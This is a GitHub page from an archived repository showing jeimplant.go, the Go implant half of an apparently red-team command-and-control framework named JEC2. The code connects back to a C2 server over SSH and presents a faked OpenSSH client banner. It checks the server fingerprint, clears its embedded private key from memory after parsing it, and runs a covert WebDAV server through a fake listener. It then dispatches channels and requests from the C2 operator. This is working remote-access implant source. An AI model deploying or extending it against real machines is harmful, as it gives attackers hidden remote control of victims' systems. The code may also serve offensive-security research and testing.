This repository has been archived by the owner on Apr 7, 2024. It is now read-only.
/
jeimplant.go
162 lines (144 loc) · 3.11 KB
/
jeimplant.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
// Program JEImplant is the implant side of JEC2.
package main
/*
* jeimplant.go
* Implant side of JEServer
* By J. Stuart McMurray
* Created 20220326
* Last Modified 20220410
*/
import (
"encoding/base64"
"errors"
"flag"
"fmt"
"io"
"net/http"
"os"
"strings"
"sync"
"golang.org/x/crypto/ssh"
)
var (
ServerAddr string
ServerFP string
PrivKey string
SSHVersion = "SSH-2.0-OpenSSH_8.6"
/* Signer is PrivKey, parsed. */
Signer ssh.Signer
// C2Conn is the connection to the C2 server. C2ConnL should be
// RLock'd while using it.
C2Conn ssh.Conn
C2ConnL sync.RWMutex
// WDListener is a FakeListener which hadles WebDAV connections.
WDListener *FakeListener
)
func main() {
flag.StringVar(
&ServerAddr,
"address",
ServerAddr,
"C2 `address`",
)
flag.StringVar(
&ServerFP,
"fingerprint",
ServerFP,
"C2 hostkey SHA256 `fingerprint`",
)
flag.StringVar(
&SSHVersion,
"version",
SSHVersion,
"SSH client version `banner`",
)
flag.BoolVar(
&DoDebug,
"debug",
DoDebug,
"Enable debug logging",
)
flag.Parse()
/* Sanity-check some things. */
if !strings.HasPrefix(ServerFP, "SHA256:") {
Debugf("Server fingerprint should shart with SHA256:")
}
/* Parse our private key. */
if err := ParsePrivateKey(); nil != err {
Debugf("Unable to parse private key: %s", err)
}
PrivKey = "" /* It's a try, anyways. */
/* Start a WebDAV server. */
WDListener = NewFakeListener("webdav", "internal")
go func() {
Logf(
"Error serving WebDAV: %s",
(&http.Server{
Handler: WebDAVHandler(),
ErrorLog: NewWebDAVLogger(),
}).Serve(WDListener),
)
}()
/* Connect to the C2 server. */
cc, chans, reqs, err := ConnectToC2()
if nil != err {
Debugf(
"Error establishing connection with C2 %s: %s",
ServerAddr,
err,
)
os.Exit(7)
}
C2ConnL.Lock()
C2Conn = cc
C2ConnL.Unlock()
go HandleC2Chans(cc, chans)
go HandleC2Reqs(cc, reqs)
/* Wait for the connection to die. */
err = cc.Wait()
switch {
case errors.Is(err, io.EOF), nil == err:
Debugf("Connection to C2 server closed")
os.Exit(8)
default:
Debugf("Connection to C2 server closed with error: %s", err)
os.Exit(9)
}
}
// ParsePrivateKey parses PrivKey, which may be base64'd, and stores it in
// Signer. This should be called only once, at initialization.
func ParsePrivateKey() error {
var b []byte
/* Decode the key, if needed. */
switch {
case strings.HasPrefix(PrivKey, "LS0tLS1CRUdJTiBP"): /* Base64 */
var err error
b, err = base64.StdEncoding.DecodeString(PrivKey)
if nil != err {
return fmt.Errorf("unbase64ing: %w", err)
}
case strings.HasPrefix(PrivKey, "-----BEGIN"): /* Unencoded */
b = []byte(PrivKey)
default: /* Unknown format. */
start := PrivKey
if 10 < len(start) {
start = start[:10]
}
return fmt.Errorf(
"unknown private key format starting with %q",
start,
)
}
/* SSHify it. */
s, err := ssh.ParsePrivateKey(b)
if nil != err {
return fmt.Errorf("converting from PEM: %w", err)
}
/* Save the parsed key, with a possiblity of catching errors. */
if nil != Signer {
Debugf("Private key already parsed")
os.Exit(5)
}
Signer = s
return nil
}